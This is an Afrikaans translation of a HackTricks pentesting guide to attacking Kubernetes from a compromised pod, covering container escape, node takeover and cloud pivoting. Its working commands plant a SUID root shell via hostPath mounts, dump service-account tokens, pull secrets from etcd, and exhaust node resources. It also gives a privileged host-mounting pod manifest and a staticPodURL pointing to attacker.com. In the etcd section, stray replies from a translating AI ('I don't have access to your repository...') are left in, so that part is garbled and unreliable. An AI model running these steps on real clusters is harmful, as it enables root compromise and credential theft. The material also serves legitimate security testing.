Aanval op Kubernetes van binne ’n Pod

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Pod Breakout

As jy genoeg geluk het, kan jy dalk daaruit ontsnap na die node:

Ontsnap uit die pod

Om te probeer ontsnap uit die pods moet jy dalk eers escalate privileges, sommige tegnieke om dit te doen:

Linux Privilege Escalation - HackTricks

Jy kan hierdie docker breakouts to try to escape nagaan om uit ’n pod wat jy gekompromitteer het te ontsnap:

Docker Breakout / Privilege Escalation - HackTricks

Abusing writable hostPath/bind mounts (container -> host root via SUID planting)

As ’n gekompromitteerde pod/container ’n skryfbare volume het wat direk na die host filesystem map (Kubernetes hostPath of Docker bind mount), en jy kan root binne die container word, kan jy die mount benut om ’n setuid-root binary op die host te skep en dit op die host uit te voer om root te kry.

Belangrike voorwaardes:

  • Die gemounte volume is skryfbaar van binne die container (readOnly: false en filesystem permissions laat skryf toe).
  • Die host filesystem wat die mount ondersteun, is nie gemount met die nosuid opsie nie.
  • Jy het ’n manier om die geplantte binary op die host uit te voer (byvoorbeeld afsonderlike SSH/RCE op die host, ’n gebruiker op die host kan dit uitvoer, of ’n ander vektor wat binaries vanaf daardie pad uitvoer).

Hoe om skryfbare hostPath/bind mounts te identifiseer:

  • Met kubectl, kyk vir hostPath volumes: kubectl get pod -o jsonpath=‘{.spec.volumes[*].hostPath.path}’
  • Van binne die container, lys mounts en kyk vir host-path mounts en toets skryfbaarheid:
# Inside the compromised container
mount | column -t
cat /proc/self/mountinfo | grep -E 'host-path|kubernetes.io~host-path' || true
findmnt -T / 2>/dev/null | sed -n '1,200p'
# Test if a specific mount path is writable
TEST_DIR=/var/www/html/some-mount  # replace with your suspected mount path
[ -d "$TEST_DIR" ] && [ -w "$TEST_DIR" ] && echo "writable: $TEST_DIR"
# Quick practical test
printf "ping\n" > "$TEST_DIR/.w"

Plant ’n setuid root binary vanaf die container:

# As root inside the container, copy a static shell (or /bin/bash) into the mounted path and set SUID/SGID
MOUNT="/var/www/html/survey"   # path inside the container that maps to a host directory
cp /bin/bash "$MOUNT/suidbash"
chmod 6777 "$MOUNT/suidbash"
ls -l "$MOUNT/suidbash"
# -rwsrwsrwx 1 root root 1234376 ... /var/www/html/survey/suidbash

Voer op die host uit om root te kry:

# On the host, locate the mapped path (e.g., from the Pod spec .spec.volumes[].hostPath.path or by prior enumeration)
# Example host path: /opt/limesurvey/suidbash
ls -l /opt/limesurvey/suidbash
/opt/limesurvey/suidbash -p   # -p preserves effective UID 0 in bash

Notes and troubleshooting:

  • As die host-mount nosuid het, sal setuid-bits geïgnoreer word. Kontroleer mount-opsies op die host (cat /proc/mounts | grep ) en kyk vir nosuid.
  • As jy nie ’n host-uitvoeringspad kan kry nie, kan soortgelyke skryfbare mounts misbruik word om ander persistence/priv-esc artefakte op die host te skryf as die gemapte gids sekuriteitskrities is (bv., voeg ’n root SSH key by as die mount na /root/.ssh gemap is, los ’n cron/systemd unit neer as dit na /etc gemap is, vervang ’n root-eienaarskap-binary in PATH wat die host sal uitvoer, ens.). Die uitvoerbaarheid hang heeltemal af van watter pad gemap is.
  • Hierdie tegniek werk ook met gewone Docker bind mounts; in Kubernetes is dit tipies ’n hostPath volume (readOnly: false) of ’n verkeerd geskaalde subPath.

Abusing Kubernetes Privileges

Soos verduidelik in die afdeling oor kubernetes enumeration:

Kubernetes Enumeration

Gewoonlik word die pods met ’n service account token binne-in hulle uitgevoer. Hierdie service account mag sekere privileges hê wat jy kan abuse om na ander pods te move of selfs te escape na die nodes binne die cluster. Kyk hoe in:

Abusing Roles/ClusterRoles in Kubernetes

Abusing Cloud Privileges

As die pod binne ’n cloud environment loop, mag jy ’n leak a token vanaf die metadata endpoint kry en daarmee privileges eskaleer.

Search vulnerable network services

Aangesien jy binne die Kubernetes-omgewing is, as jy nie privileges kan eskaleer deur die huidige pod se privileges te abuse en jy nie uit die container kan escape nie, moet jy potensieel kwesbare dienste soek.

Services

Vir hierdie doel kan jy probeer om al die services van die kubernetes-omgewing te kry:

kubectl get svc --all-namespaces

Standaard gebruik Kubernetes ’n plat netwerk-skema, wat beteken dat enige pod/service binne die cluster met ander kan kommunikeer. Die namespaces binne die cluster het standaard geen netwerk-sekuriteitsbeperkings nie. Enigiemand in die namespace kan met ander namespaces kommunikeer.

Skandering

Die volgende Bash-skrip (geneem vanaf ’n Kubernetes workshop) sal die IP-reekse van die Kubernetes cluster installeer en skandeer:

sudo apt-get update
sudo apt-get install nmap
nmap-kube ()
{
nmap --open -T4 -A -v -Pn -p 80,443,2379,8080,9090,9100,9093,4001,6782-6784,6443,8443,9099,10250,10255,10256 "${@}"
}

nmap-kube-discover () {
local LOCAL_RANGE=$(ip a | awk '/eth0$/{print $2}' | sed 's,[0-9][0-9]*/.*,*,');
local SERVER_RANGES=" ";
SERVER_RANGES+="10.0.0.1 ";
SERVER_RANGES+="10.0.1.* ";
SERVER_RANGES+="10.*.0-1.* ";
nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
}
nmap-kube-discover

Check out the following page to learn how you could attack Kubernetes specific services to compromise other pods/all the environment:

Pentesting Kubernetes Services

Sniffing

Indien die compromised pod is running some sensitive service waar ander pods moet verifieer, kan jy dalk die credentials wat vanaf die ander pods gestuur word verkry deur sniffing local communications.

Network Spoofing

By default werk tegnieke soos ARP spoofing (en as gevolg daarvan DNS Spoofing) in die kubernetes network. Binne ’n pod, as jy die NET_RAW capability het (wat standaard teenwoordig is), sal jy in staat wees om pasgemaakte netwerkpakkette te stuur en MitM attacks via ARP Spoofing to all the pods running in the same node.
Verder, as die malicious pod op die same node as the DNS Server loop, sal jy in staat wees om ’n DNS Spoofing attack to all the pods in cluster uit te voer.

Kubernetes Network Attacks

Node DoS

Daar is geen spesifikasie van resources in die Kubernetes manifests en not applied limit ranges vir die containers nie. As ’n attacker, kan ons consume all the resources where the pod/deployment running en ander resources uithonger en ’n DoS vir die omgewing veroorsaak.

This can be done with a tool such as stress-ng:

stress-ng --vm 2 --vm-bytes 2G --timeout 30s

Jy kan die verskil sien tussen terwyl stress-ng aan die gang was en daarna

kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx

Node Post-Exploitation

As jy daarin geslaag het om escape from the container sal jy ’n paar interessante dinge op die node vind:

  • Die Container Runtime proses (Docker)
  • Meer pods/containers wat op die node loop wat jy kan misbruik soos hierdie een (meer tokens)
  • Die hele filesystem en OS oor die algemeen
  • Die Kube-Proxy diens wat luister
  • Die Kubelet diens wat luister. Kyk na konfigurasielêers:
  • Directory: /var/lib/kubelet/
  • /var/lib/kubelet/kubeconfig
  • /var/lib/kubelet/kubelet.conf
  • /var/lib/kubelet/config.yaml
  • /var/lib/kubelet/kubeadm-flags.env
  • /etc/kubernetes/kubelet-kubeconfig
  • /etc/kubernetes/admin.conf –> kubectl --kubeconfig /etc/kubernetes/admin.conf get all -n kube-system
  • Ander kubernetes algemene lêers:
  • $HOME/.kube/config - Gebruikerkonfigurasie
  • /etc/kubernetes/kubelet.conf- Gereelde Konfigurasie
  • /etc/kubernetes/bootstrap-kubelet.conf - Bootstrap-konfigurasie
  • /etc/kubernetes/manifests/etcd.yaml - etcd-konfigurasie
  • /etc/kubernetes/pki - Kubernetes-sleutel

Vind node kubeconfig

As jy die kubeconfig-lêer nie in een van die hierbo genoemde paadjies kan vind nie, kontroleer die argument --kubeconfig van die kubelet-proses:

ps -ef | grep kubelet
root        1406       1  9 11:55 ?        00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal

Steel Geheime

# Check Kubelet privileges
kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system

# Steal the tokens from the pods running in the node
# The most interesting one is probably the one of kube-system
ALREADY="IinItialVaaluE"
for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do
TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/'))
if ! [ $(echo $TOKEN | grep -E $ALREADY) ]; then
ALREADY="$ALREADY|$TOKEN"
echo "Directory: $i"
echo "Namespace: $(cat $i)"
echo ""
echo $TOKEN
echo "================================================================================"
echo ""
fi
done

Die skrip can-they.sh sal outomaties kry die tokens van ander pods en kontroleer of hulle die permission het wat jy soek (in plaas daarvan dat jy een-vir-een kyk):

./can-they.sh -i "--list -n default"
./can-they.sh -i "list secrets -n kube-system"// Some code

Privileged DaemonSets

’n DaemonSet is ’n pod wat in alle nodes van die cluster uitgevoer sal word. Daarom, as ’n DaemonSet gekonfigureer is met ’n privileged service account, gaan jy in ALLE nodes die token van daardie privileged service account kan vind wat jy kan misbruik.

Pivot to Cloud

As die cluster deur ’n cloud service bestuur word, het die Node gewoonlik ’n ander toegang tot die metadata endpoint as die Pod. Probeer dus om die metadata endpoint vanaf die node te benader (of vanaf ’n pod met hostNetwork op True):

Kubernetes Pivoting to Clouds

Steel etcd

As jy die nodeName van die Node wat die container gaan laat loop kan spesifiseer, kry ’n shell binne ’n control-plane node en haal die etcd database:

kubectl get nodes
NAME                STATUS   ROLES    AGE   VERSION
k8s-control-plane   Ready    master   93d   v1.19.1
k8s-worker          Ready    <none>   93d   v1.19.1

control-plane nodes het die role master en in cloud managed clusters you won’t be able to run anything in them.

Lees secrets vanaf etcd 1

As jy jou pod op ’n control-plane node kan laat loop deur die nodeName selector in die pod spec te gebruik, mag jy maklike toegang hê tot die etcd database, wat al die konfigurasie vir die cluster bevat, insluitend alle secrets.

Hieronder is ’n vinnige en growwe manier om secrets van die etcd te gryp as dit op die control-plane node waarop jy is aan die gang is. As jy ’n meer elegante oplossing wil hê wat ’n pod opstart met die etcd client utility etcdctl en die control-plane node se credentials gebruik om te verbind met etcd waar dit ook al loop, kyk na this example manifest van @mauilion.

Kyk of etcd op die control-plane node aan die gang is en sien waar die databasis is (Dit is op ’n kubeadm created cluster)

root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir

I don’t have access to your repository. Please paste the markdown content of src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md here (or upload the file). I will translate the relevant English text to Afrikaans following your rules.

data-dir=/var/lib/etcd

Bekyk die data in die etcd-databasis:

strings /var/lib/etcd/member/snap/db | less

Haal die tokens uit die databasis en wys die service account name

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done

Dieselfde opdrag, maar ’n paar greps om slegs die default token in die kube-system namespace terug te gee

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default

I don’t have the file content — please paste the text from src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md that you want translated to Afrikaans.

1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]

Lees geheime uit etcd 2 from here

  1. Skep ’n snapshot van die etcd databasis. Kyk na this script vir verdere inligting.
  2. Dra die etcd snapshot uit die node oor op jou voorkeur manier.
  3. Pak die databasis uit:
mkdir -p restore ; etcdutl snapshot restore etcd-loot-backup.db \ --data-dir ./restore
  1. Begin etcd op jou plaaslike masjien en laat dit die gesteelde snapshot gebruik:
etcd \ --data-dir=./restore \ --initial-cluster=state=existing \ --snapshot='./etcd-loot-backup.db'

  1. Lys al die secrets:
etcdctl get "" --prefix --keys-only | grep secret
  1. Kry die geheime:
etcdctl get /registry/secrets/default/my-secret

Static/Mirrored Pods Persistensie

Static Pods word direk bestuur deur die kubelet daemon op ’n spesifieke node, sonder dat die API server dit dophou. Anders as Pods wat deur die control plane bestuur word (byvoorbeeld ’n Deployment); in plaas daarvan kyk die kubelet na elke static Pod (en herbegin dit as dit faal).

Daarom is static Pods altyd gebind aan een Kubelet op ’n spesifieke node.

Die kubelet probeer outomaties ’n mirror Pod op die Kubernetes API server skep vir elke static Pod. Dit beteken dat die Pods wat op ’n node loop sigbaar is op die API server, maar nie van daaruit beheer kan word nie. Die Pod-name sal met die node hostname nagesit wees met ’n vooraangestelde koppelteken.

Caution

Die spec van ’n static Pod kan nie na ander API objects verwys nie (bv. ServiceAccount, ConfigMap, Secret, ens.). Dus kan jy hierdie gedrag nie misbruik om ’n pod met ’n arbitrêre serviceAccount op die huidige node te begin om die cluster te kompromitteer nie. Maar jy kan dit gebruik om pods in ander namespaces te laat loop (indien dit om een of ander rede nuttig is).

As jy binne die node-host is, kan jy dit laat ’n static pod in homself skep. Dit is baie nuttig omdat dit jou moontlik toelaat om ’n pod in ’n ander namespace soos kube-system te skep.

Om ’n static pod te skep, is die docs are a great help. Jy benodig basies 2 dinge:

  • Konfigureer die parameter --pod-manifest-path=/etc/kubernetes/manifests in die kubelet service, of in die kubelet config (staticPodPath) en herbegin die diens
  • Skep die definisie as die pod definition in /etc/kubernetes/manifests

Nog ’n meer stealth manier sou wees om:

  • Wysig die parameter staticPodURL in die kubelet konfigurasielêer en stel iets soos staticPodURL: http://attacker.com:8765/pod.yaml. Dit sal die kubelet-proses veroorsaak om ’n static pod te skep wat die konfigurasie vanaf die aangeduide URL kry.

Voorbeeld van pod konfigurasie om ’n privilege pod in kube-system te skep geneem van here:

apiVersion: v1
kind: Pod
metadata:
name: bad-priv2
namespace: kube-system
spec:
containers:
- name: bad
hostPID: true
image: gcr.io/shmoocon-talk-hacking/brick
stdin: true
tty: true
imagePullPolicy: IfNotPresent
volumeMounts:
- mountPath: /chroot
name: host
securityContext:
privileged: true
volumes:
- name: host
hostPath:
path: /
type: Directory

Verwyder pods + nie-skeduleerbare nodes

As ’n aanvaller compromised a node het en hy kan delete pods van ander nodes verwyder en make other nodes not able to execute pods, sal die pods op die gekompromitteerde node weer uitgevoer word en hy sal in staat wees om die tokens wat daarin loop te steel.
For more info follow this links.

Outomatiese gereedskap

Peirates v1.1.8-beta by InGuardians
https://www.inguardians.com/peirates
----------------------------------------------------------------
[+] Service Account Loaded: Pod ns::dashboard-56755cd6c9-n8zt9
[+] Certificate Authority Certificate: true
[+] Kubernetes API Server: https://10.116.0.1:443
[+] Current hostname/pod name: dashboard-56755cd6c9-n8zt9
[+] Current namespace: prd
----------------------------------------------------------------
Namespaces, Service Accounts and Roles |
---------------------------------------+
[1] List, maintain, or switch service account contexts [sa-menu]  (try: listsa *, switchsa)
[2] List and/or change namespaces [ns-menu] (try: listns, switchns)
[3] Get list of pods in current namespace [list-pods]
[4] Get complete info on all pods (json) [dump-pod-info]
[5] Check all pods for volume mounts [find-volume-mounts]
[6] Enter AWS IAM credentials manually [enter-aws-credentials]
[7] Attempt to Assume a Different AWS Role [aws-assume-role]
[8] Deactivate assumed AWS role [aws-empty-assumed-role]
[9] Switch authentication contexts: certificate-based authentication (kubelet, kubeproxy, manually-entered) [cert-menu]
-------------------------+
Steal Service Accounts   |
-------------------------+
[10] List secrets in this namespace from API server [list-secrets]
[11] Get a service account token from a secret [secret-to-sa]
[12] Request IAM credentials from AWS Metadata API [get-aws-token] *
[13] Request IAM credentials from GCP Metadata API [get-gcp-token] *
[14] Request kube-env from GCP Metadata API [attack-kube-env-gcp]
[15] Pull Kubernetes service account tokens from kops' GCS bucket (Google Cloudonly) [attack-kops-gcs-1]  *
[16] Pull Kubernetes service account tokens from kops' S3 bucket (AWS only) [attack-kops-aws-1]
--------------------------------+
Interrogate/Abuse Cloud API's   |
--------------------------------+
[17] List AWS S3 Buckets accessible (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls]
[18] List contents of an AWS S3 Bucket (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls-objects]
-----------+
Compromise |
-----------+
[20] Gain a reverse rootshell on a node by launching a hostPath-mounting pod [attack-pod-hostpath-mount]
[21] Run command in one or all pods in this namespace via the API Server [exec-via-api]
[22] Run a token-dumping command in all pods via Kubelets (authorization permitting) [exec-via-kubelet]
-------------+
Node Attacks |
-------------+
[30] Steal secrets from the node filesystem [nodefs-steal-secrets]
-----------------+
Off-Menu         +
-----------------+
[90] Run a kubectl command using the current authorization context [kubectl [arguments]]
[] Run a kubectl command using EVERY authorization context until one works [kubectl-try-all [arguments]]
[91] Make an HTTP request (GET or POST) to a user-specified URL [curl]
[92] Deactivate "auth can-i" checking before attempting actions [set-auth-can-i]
[93] Run a simple all-ports TCP port scan against an IP address [tcpscan]
[94] Enumerate services via DNS [enumerate-dns] *
[]  Run a shell command [shell <command and arguments>]

[exit] Exit Peirates

Verwysings

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks